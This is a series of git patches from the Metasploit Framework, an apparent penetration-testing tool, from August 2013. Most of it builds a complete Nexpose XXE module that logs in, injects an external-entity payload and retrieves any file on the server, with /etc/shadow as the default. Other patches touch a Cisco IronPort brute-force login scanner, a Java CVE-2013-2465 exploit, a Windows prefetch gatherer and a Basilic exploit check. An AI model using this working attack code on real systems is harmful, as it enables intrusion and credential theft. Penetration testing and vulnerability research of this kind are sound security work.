<lazydj98@gmail.com> Date: Thu, 15 Aug 2013 22:25:29 -0500 Subject: [PATCH 212/454] add .sublime-project to gitignore --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index 8bd096722cf6d..189d32b78e8e2 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,8 @@ .bundle # Rubymine project directory .idea +# Sublime Text project directory (not created by ST by default) +.sublime-project # Portable ruby version files for rvm .ruby-gemset .ruby-version From 795ad70eab624aeb3ae6b8c13791df6f25b36bd1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 15 Aug 2013 22:52:42 -0500 Subject: [PATCH 213/454] Change directory names --- .../Exploit$MyColorModel.class | Bin .../Exploit$MyColorSpace.class | Bin .../{jre17u21 => CVE-2013-2465}/Exploit.class | Bin .../{jre17u21 => CVE-2013-2465}/Exploit.java | 0 .../exploits/{jre17u21 => CVE-2013-2465}/Makefile | 2 +- .../exploits/multi/browser/java_storeimagearray.rb | 6 +++--- 6 files changed, 4 insertions(+), 4 deletions(-) rename data/exploits/{jre17u21 => CVE-2013-2465}/Exploit$MyColorModel.class (100%) rename data/exploits/{jre17u21 => CVE-2013-2465}/Exploit$MyColorSpace.class (100%) rename data/exploits/{jre17u21 => CVE-2013-2465}/Exploit.class (100%) rename external/source/exploits/{jre17u21 => CVE-2013-2465}/Exploit.java (100%) rename external/source/exploits/{jre17u21 => CVE-2013-2465}/Makefile (78%) diff --git a/data/exploits/jre17u21/Exploit$MyColorModel.class b/data/exploits/CVE-2013-2465/Exploit$MyColorModel.class similarity index 100% rename from data/exploits/jre17u21/Exploit$MyColorModel.class rename to data/exploits/CVE-2013-2465/Exploit$MyColorModel.class diff --git a/data/exploits/jre17u21/Exploit$MyColorSpace.class b/data/exploits/CVE-2013-2465/Exploit$MyColorSpace.class similarity index 100% rename from data/exploits/jre17u21/Exploit$MyColorSpace.class rename to data/exploits/CVE-2013-2465/Exploit$MyColorSpace.class diff --git a/data/exploits/jre17u21/Exploit.class b/data/exploits/CVE-2013-2465/Exploit.class similarity index 100% rename from data/exploits/jre17u21/Exploit.class rename to data/exploits/CVE-2013-2465/Exploit.class diff --git a/external/source/exploits/jre17u21/Exploit.java b/external/source/exploits/CVE-2013-2465/Exploit.java similarity index 100% rename from external/source/exploits/jre17u21/Exploit.java rename to external/source/exploits/CVE-2013-2465/Exploit.java diff --git a/external/source/exploits/jre17u21/Makefile b/external/source/exploits/CVE-2013-2465/Makefile similarity index 78% rename from external/source/exploits/jre17u21/Makefile rename to external/source/exploits/CVE-2013-2465/Makefile index c6f91b9a189b1..4ee5294f12d6f 100644 --- a/external/source/exploits/jre17u21/Makefile +++ b/external/source/exploits/CVE-2013-2465/Makefile @@ -7,7 +7,7 @@ CLASSES = Exploit.java all: $(CLASSES:.java=.class) install: - mv *.class ../../../../data/exploits/jre17u21/ + mv *.class ../../../../data/exploits/CVE-2013-3465/ clean: rm -rf *.class diff --git a/modules/exploits/multi/browser/java_storeimagearray.rb b/modules/exploits/multi/browser/java_storeimagearray.rb index d742db5a2f057..81cfcda9692f9 100644 --- a/modules/exploits/multi/browser/java_storeimagearray.rb +++ b/modules/exploits/multi/browser/java_storeimagearray.rb @@ -71,11 +71,11 @@ def initialize( info = {} ) end def setup - path = File.join(Msf::Config.install_root, "data", "exploits", "jre17u21", "Exploit.class") + path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-3465", "Exploit.class") @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.install_root, "data", "exploits", "jre17u21", "Exploit$MyColorModel.class") + path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-3465", "Exploit$MyColorModel.class") @color_model_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.install_root, "data", "exploits", "jre17u21", "Exploit$MyColorSpace.class") + path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-3465", "Exploit$MyColorSpace.class") @color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } @exploit_class_name = rand_text_alpha("Exploit".length) From 1a3b4eebdbbd34b8cba202359e3e049c430e3780 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 15 Aug 2013 22:54:31 -0500 Subject: [PATCH 214/454] Fix directory name on ruby --- modules/exploits/multi/browser/java_storeimagearray.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/browser/java_storeimagearray.rb b/modules/exploits/multi/browser/java_storeimagearray.rb index 81cfcda9692f9..6d2223e78d402 100644 --- a/modules/exploits/multi/browser/java_storeimagearray.rb +++ b/modules/exploits/multi/browser/java_storeimagearray.rb @@ -71,11 +71,11 @@ def initialize( info = {} ) end def setup - path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-3465", "Exploit.class") + path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit.class") @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-3465", "Exploit$MyColorModel.class") + path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit$MyColorModel.class") @color_model_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-3465", "Exploit$MyColorSpace.class") + path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2465", "Exploit$MyColorSpace.class") @color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } @exploit_class_name = rand_text_alpha("Exploit".length) From e4885b20174e1467889e7a883fb737884daa25aa Mon Sep 17 00:00:00 2001 From: Karn Ganeshen <KarnGaneshen@gmail.com> Date: Fri, 16 Aug 2013 13:04:02 +0530 Subject: [PATCH 215/454] updated module removed the csrfkey parameter from login uri. --- modules/auxiliary/scanner/http/cisco_ironport_enum.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb index b40ff9d0ee70a..b37ef58a73518 100644 --- a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb +++ b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb @@ -128,7 +128,7 @@ def do_login(user, pass) begin res = send_request_cgi( { - 'uri' => '/login?CSRFKey=5PADuD3Z-10v3-b33R-5h0t-0n4h3R0cK555', + 'uri' => '/login', 'method' => 'POST', 'vars_post' => { From 0063d4e06c9d2a52b49d8a07329524713491332e Mon Sep 17 00:00:00 2001 From: jiuweigui <fraktaali@gmail.com> Date: Fri, 16 Aug 2013 14:44:08 +0300 Subject: [PATCH 216/454] Extend description & add Win2k3 section to WinXP section. --- modules/post/windows/gather/enum_prefetch.rb | 26 ++++++-------------- 1 file changed, 7 insertions(+), 19 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index ca03d6e8e5fbc..41688fb85ee7c 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -14,7 +14,9 @@ class Metasploit3 < Msf::Post def initialize(info={}) super(update_info(info, 'Name' => 'Windows Gather Prefetch File Information', - 'Description' => %q{This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems.}, + 'Description' => %q{This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems. + File offset reads for run count, hash and filename are collected from each prefetch file + using WinAPI through Railgun while Last Modified and Create times are file MACE values.}, 'License' => MSF_LICENSE, 'Author' => ['TJ Glad <fraktaali[at]gmail.com>'], 'Platform' => ['win'], @@ -127,13 +129,13 @@ def run sysnfo = client.sys.config.sysinfo['OS'] error_msg = "You don't have enough privileges. Try getsystem." - if sysnfo =~/(Windows XP)/ + if sysnfo =~/(Windows XP|2003|.NET)/ if not is_system? print_error(error_msg) return nil end - # Offsets for WinXP - print_good("Detected Windows XP (max 128 entries)") + # Offsets for WinXP & Win2k3 + print_good("Detected #{sysnfo} (max 128 entries)") name_offset = 0x10 hash_offset = 0x4C lastrun_offset = 0x78 @@ -141,27 +143,13 @@ def run # Registry key for timezone key_value = "StandardName" - elsif sysnfo =~/(Windows .NET Server)/ - if not is_system? - print_error(error_msg) - return nil - end - # Offsets for Win2k3 - print_good("Detected Windows 2k3 (max 128 entries)") - name_offset = 0x10 - hash_offset = 0x4C - lastrun_offset = 0x78 - runcount_offset = 0x90 - # Registry key for timezone - key_value = "StandardName" - elsif sysnfo =~/(Windows 7)/ if not is_admin? print_error(error_msg) return nil end # Offsets for Win7 - print_good("Detected Windows 7 (max 128 entries)") + print_good("Detected #{sysnfo} (max 128 entries)") name_offset = 0x10 hash_offset = 0x4C lastrun_offset = 0x80 From 46d6fb3b425e01857f63eae4c5f4e0b16b322e85 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Fri, 16 Aug 2013 10:50:38 -0500 Subject: [PATCH 217/454] Add module for xxe --- .../admin/http/nexpose_xxe_file_read.rb | 125 ++++++++++++++++++ 1 file changed, 125 insertions(+) create mode 100644 modules/auxiliary/admin/http/nexpose_xxe_file_read.rb diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb new file mode 100644 index 0000000000000..f0dd73ea02691 --- /dev/null +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -0,0 +1,125 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rapid7/nexpose' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Nexpose XXE Arbitrary File Read', + 'Description' => %q{ + Nexpose v5.7.2 and prior was vulnerable to a XML External Entity attack via a few vectors. + This allowed an attacker to craft special XML that read arbitrary files from the filesystem. + This module exploits the vulnerability via the XML API. + }, + 'Author' => + [ + 'bperry', #Discovery/Metasploit Module + 'bojanz' #Independent discovery + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('USERNAME', [true, "The Nexpose user", "user"]), + OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]), + OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]), + ], self.class) + end + + def run + host = datastore['RHOST'] + port = datastore['RPORT'] + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + nsc = Nexpose::Connection.new(host, user, pass, port) + + print_status("Authenticating as: " << user) + begin + nsc.login + report_auth_info( + :host => host, + :port => port, + :sname => 'https', + :user => user, + :pass => pass, + :proof => '', + :active => true + ) + + rescue + print_error("Error authenticating, check your credentials") + return + end + + xml = '<!DOCTYPE foo [' + xml << '<!ELEMENT host ANY>' + xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">' + xml << ']>' + xml << '<SiteSaveRequest session-id="' + + xml << nsc.session_id + + xml << '">' + xml << '<Site id="-1" name="fdsa" description="fdfdsa">' + xml << '<Hosts>' + xml << '<host>&xxe;</host>' + xml << '</Hosts>' + xml << '<Credentials />' + xml << '<Alerting />' + xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />' + xml << '</Site>' + xml << '</SiteSaveRequest>' + + print_status("Sending payload") + begin + fsa = nsc.execute(xml) + rescue + print_error("Error executing API call for site creation, ensure the filepath is correct") + return + end + + doc = REXML::Document.new fsa.raw_response_data + id = doc.root.attributes["site-id"] + + xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />" + + print_status("Retrieving file") + begin + fsa = nsc.execute(xml) + rescue + nsc.site_delete id + print_error("Error retrieving the file.") + return + end + + doc = REXML::Document.new fsa.raw_response_data + + print_status("Cleaning up") + begin + nsc.site_delete id + rescue + print_error("Error while cleaning up site") + return + end + + if !doc.root.elements["//host"] + print_error("No file returned. Either the server is patched or the file did not exist.") + return + end + + path = store_loot('nexpose.file','text/plain', host, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{host}") + print_good("File saved to path: " << path) + end +end From f0237f07d6815046c1032cf0e7f0824555b3815a Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 16 Aug 2013 11:04:51 -0500 Subject: [PATCH 218/454] Correct author and references --- .../auxiliary/admin/http/nexpose_xxe_file_read.rb | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index f0dd73ea02691..6cc77111bbc87 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -23,10 +23,18 @@ def initialize(info = {}) }, 'Author' => [ - 'bperry', #Discovery/Metasploit Module - 'bojanz' #Independent discovery + 'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module + 'Drazen Popovic <drazen.popvic[at]infigo.hr>' # Independent discovery, alternate vector + 'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>', # Independently reported ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ], + # Fill this in with the direct advisory URL from Infigo + [ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ] + + ] )) register_options( From 646d55b638adf8a6a2d99ee87d403fe0e0b53484 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 16 Aug 2013 11:06:34 -0500 Subject: [PATCH 219/454] Description should be present tense --- modules/auxiliary/admin/http/nexpose_xxe_file_read.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index 6cc77111bbc87..3cd1197b97d9c 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -17,9 +17,10 @@ def initialize(info = {}) super(update_info(info, 'Name' => 'Nexpose XXE Arbitrary File Read', 'Description' => %q{ - Nexpose v5.7.2 and prior was vulnerable to a XML External Entity attack via a few vectors. - This allowed an attacker to craft special XML that read arbitrary files from the filesystem. - This module exploits the vulnerability via the XML API. + Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number + of vectors. This vulnerability can allow an attacker to a craft special XML that + could read arbitrary files from the filesystem. This module exploits the + vulnerability via the XML API. }, 'Author' => [ From 60a229c71acf1b5c0550ce8a8d32206f1a1d5d50 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 16 Aug 2013 11:12:39 -0500 Subject: [PATCH 220/454] Use rhost and rport, not local host and port --- modules/auxiliary/admin/http/nexpose_xxe_file_read.rb | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index 3cd1197b97d9c..e86c1e62f4bef 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -34,7 +34,6 @@ def initialize(info = {}) [ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ], # Fill this in with the direct advisory URL from Infigo [ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ] - ] )) @@ -47,19 +46,17 @@ def initialize(info = {}) end def run - host = datastore['RHOST'] - port = datastore['RPORT'] user = datastore['USERNAME'] pass = datastore['PASSWORD'] - nsc = Nexpose::Connection.new(host, user, pass, port) + nsc = Nexpose::Connection.new(rhost, user, pass, rport) print_status("Authenticating as: " << user) begin nsc.login report_auth_info( - :host => host, - :port => port, + :host => rhost, + :port => rport, :sname => 'https', :user => user, :pass => pass, @@ -128,7 +125,7 @@ def run return end - path = store_loot('nexpose.file','text/plain', host, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{host}") + path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}") print_good("File saved to path: " << path) end end From e436d31d23b6a3d80972b5cb03544ecdc3d444ba Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 16 Aug 2013 11:32:10 -0500 Subject: [PATCH 221/454] Use SSL by defailt --- modules/auxiliary/admin/http/nexpose_xxe_file_read.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index e86c1e62f4bef..78b6971587111 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -42,12 +42,14 @@ def initialize(info = {}) OptString.new('USERNAME', [true, "The Nexpose user", "user"]), OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]), OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]), + OptBool.new('SSL', [true, 'Use SSL', true]) ], self.class) end def run user = datastore['USERNAME'] pass = datastore['PASSWORD'] + prot = datastore['SSL'] ? 'https' : 'http' nsc = Nexpose::Connection.new(rhost, user, pass, rport) @@ -57,7 +59,7 @@ def run report_auth_info( :host => rhost, :port => rport, - :sname => 'https', + :sname => prot, :user => user, :pass => pass, :proof => '', From d4dbea5594508b0d1e46b34ff9db9436135e5001 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 16 Aug 2013 11:34:32 -0500 Subject: [PATCH 222/454] Check 200 --- modules/exploits/unix/webapp/basilic_diff_exec.rb | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/modules/exploits/unix/webapp/basilic_diff_exec.rb b/modules/exploits/unix/webapp/basilic_diff_exec.rb index 0a6106e7b916c..f38170399ae01 100644 --- a/modules/exploits/unix/webapp/basilic_diff_exec.rb +++ b/modules/exploits/unix/webapp/basilic_diff_exec.rb @@ -73,17 +73,11 @@ def check } }) - if res and res.body =~ /#{sig}/ - if res.code == 302 - # Some undesirable network setup not very friendly for vuln checks. - # See RM8114. - return Exploit::CheckCode::Unknown - else - return Exploit::CheckCode::Vulnerable - end - else - return Exploit::CheckCode::Safe + if res and res.code == 200 and res.body =~ /#{sig}/ + return Exploit::CheckCode::Vulnerable end + + return Exploit::CheckCode::Safe end From bbe57dbf3a4736a7a6f7247e05994e8d0ae6c0f1 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 16 Aug 2013 12:06:24 -0500 Subject: [PATCH 223/454] Some cleanup, also remove TARGETURI because not registered by default --- modules/auxiliary/scanner/http/cisco_ironport_enum.rb | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb index b37ef58a73518..270b51401006f 100644 --- a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb +++ b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb @@ -20,7 +20,7 @@ def initialize(info={}) 'Name' => 'Cisco Ironport Bruteforce Login Utility', 'Description' => %{ This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS - version and performs login brute force to identify valid credentials. + version and performs login brute force to identify valid credentials. }, 'Author' => [ @@ -36,9 +36,6 @@ def initialize(info={}) OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]), OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"]) ], self.class) - - deregister_options('TARGETURI') - end def run_host(ip) @@ -72,7 +69,7 @@ def check_conn? end # - # What's the point of running this module if the app actually isn't Cisco Ironport? + # What's the point of running this module if the app actually isn't Cisco IronPort # def is_app_ironport? From 24b8fb0d7ba2864f9f8c06bdb2b304853a556f51 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 16 Aug 2013 13:31:05 -0500 Subject: [PATCH 224/454] Whitespace retab, add rport 3780 as default --- .../admin/http/nexpose_xxe_file_read.rb | 241 +++++++++--------- 1 file changed, 121 insertions(+), 120 deletions(-) diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index 78b6971587111..e0be4a3c21243 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -10,124 +10,125 @@ class Metasploit4 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Nexpose XXE Arbitrary File Read', - 'Description' => %q{ - Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number - of vectors. This vulnerability can allow an attacker to a craft special XML that - could read arbitrary files from the filesystem. This module exploits the - vulnerability via the XML API. - }, - 'Author' => - [ - 'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module - 'Drazen Popovic <drazen.popvic[at]infigo.hr>' # Independent discovery, alternate vector - 'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>', # Independently reported - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ], - # Fill this in with the direct advisory URL from Infigo - [ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ] - ] - )) - - register_options( - [ - OptString.new('USERNAME', [true, "The Nexpose user", "user"]), - OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]), - OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]), - OptBool.new('SSL', [true, 'Use SSL', true]) - ], self.class) - end - - def run - user = datastore['USERNAME'] - pass = datastore['PASSWORD'] - prot = datastore['SSL'] ? 'https' : 'http' - - nsc = Nexpose::Connection.new(rhost, user, pass, rport) - - print_status("Authenticating as: " << user) - begin - nsc.login - report_auth_info( - :host => rhost, - :port => rport, - :sname => prot, - :user => user, - :pass => pass, - :proof => '', - :active => true - ) - - rescue - print_error("Error authenticating, check your credentials") - return - end - - xml = '<!DOCTYPE foo [' - xml << '<!ELEMENT host ANY>' - xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">' - xml << ']>' - xml << '<SiteSaveRequest session-id="' - - xml << nsc.session_id - - xml << '">' - xml << '<Site id="-1" name="fdsa" description="fdfdsa">' - xml << '<Hosts>' - xml << '<host>&xxe;</host>' - xml << '</Hosts>' - xml << '<Credentials />' - xml << '<Alerting />' - xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />' - xml << '</Site>' - xml << '</SiteSaveRequest>' - - print_status("Sending payload") - begin - fsa = nsc.execute(xml) - rescue - print_error("Error executing API call for site creation, ensure the filepath is correct") - return - end - - doc = REXML::Document.new fsa.raw_response_data - id = doc.root.attributes["site-id"] - - xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />" - - print_status("Retrieving file") - begin - fsa = nsc.execute(xml) - rescue - nsc.site_delete id - print_error("Error retrieving the file.") - return - end - - doc = REXML::Document.new fsa.raw_response_data - - print_status("Cleaning up") - begin - nsc.site_delete id - rescue - print_error("Error while cleaning up site") - return - end - - if !doc.root.elements["//host"] - print_error("No file returned. Either the server is patched or the file did not exist.") - return - end - - path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}") - print_good("File saved to path: " << path) - end + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Nexpose XXE Arbitrary File Read', + 'Description' => %q{ + Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number + of vectors. This vulnerability can allow an attacker to a craft special XML that + could read arbitrary files from the filesystem. This module exploits the + vulnerability via the XML API. + }, + 'Author' => + [ + 'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module + 'Drazen Popovic <drazen.popvic[at]infigo.hr>' # Independent discovery, alternate vector + 'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>', # Independently reported + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ], + # Fill this in with the direct advisory URL from Infigo + [ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ] + ] + )) + + register_options( + [ + Opt::RPORT(3780), + OptString.new('USERNAME', [true, "The Nexpose user", "user"]), + OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]), + OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]), + OptBool.new('SSL', [true, 'Use SSL', true]) + ], self.class) + end + + def run + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + prot = datastore['SSL'] ? 'https' : 'http' + + nsc = Nexpose::Connection.new(rhost, user, pass, rport) + + print_status("Authenticating as: " << user) + begin + nsc.login + report_auth_info( + :host => rhost, + :port => rport, + :sname => prot, + :user => user, + :pass => pass, + :proof => '', + :active => true + ) + + rescue + print_error("Error authenticating, check your credentials") + return + end + + xml = '<!DOCTYPE foo [' + xml << '<!ELEMENT host ANY>' + xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">' + xml << ']>' + xml << '<SiteSaveRequest session-id="' + + xml << nsc.session_id + + xml << '">' + xml << '<Site id="-1" name="fdsa" description="fdfdsa">' + xml << '<Hosts>' + xml << '<host>&xxe;</host>' + xml << '</Hosts>' + xml << '<Credentials />' + xml << '<Alerting />' + xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />' + xml << '</Site>' + xml << '</SiteSaveRequest>' + + print_status("Sending payload") + begin + fsa = nsc.execute(xml) + rescue + print_error("Error executing API call for site creation, ensure the filepath is correct") + return + end + + doc = REXML::Document.new fsa.raw_response_data + id = doc.root.attributes["site-id"] + + xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />" + + print_status("Retrieving file") + begin + fsa = nsc.execute(xml) + rescue + nsc.site_delete id + print_error("Error retrieving the file.") + return + end + + doc = REXML::Document.new fsa.raw_response_data + + print_status("Cleaning up") + begin + nsc.site_delete id + rescue + print_error("Error while cleaning up site") + return + end + + if !doc.root.elements["//host"] + print_error("No file returned. Either the server is patched or the file did not exist.") + return + end + + path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}") + print_good("File saved to path: " << path) + end end From dfa13103047b4b01f948d4896ae0c6fea4ad4e95 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Fri, 16 Aug 2013 13:54:46 -0500 Subject: [PATCH 225/454] Commas in the author array --- modules/auxiliary/admin/http/nexpose_xxe_file_read.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index e0be4a3c21243..a8ca7bcd17be5 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -25,8 +25,8 @@ def initialize(info = {}) 'Author' => [ 'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module - 'Drazen Popovic <drazen.popvic[at]infigo.hr>' # Independent discovery, alternate vector - 'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>', # Independently reported + 'Drazen Popovic <drazen.popvic[at]infigo.hr>', # Independent discovery, alternate vector + 'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>' # Independently reported ], 'License' => MSF_LICENSE, 'References' => From f7339f4f77456eb4c1490b24a8d214ff1280883a Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 16 Aug 2013 14:03:59 -0500 Subject: [PATCH 226/454] Cleanup various style issues * Unset default username and password * Register SSL as a DefaultOption instead of redefining it * Use the HttpClient mixin `ssl` instead of datastore. * Unless is better than if ! * Try to store loot even if you can't cleanup the site ID. --- .../admin/http/nexpose_xxe_file_read.rb | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index a8ca7bcd17be5..b1fcc3913ed66 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -34,23 +34,25 @@ def initialize(info = {}) [ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ], # Fill this in with the direct advisory URL from Infigo [ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ] - ] + ], + 'DefaultOptions' => { + 'SSL' => true + } )) register_options( [ Opt::RPORT(3780), - OptString.new('USERNAME', [true, "The Nexpose user", "user"]), - OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]), - OptString.new('FILEPATH', [true, 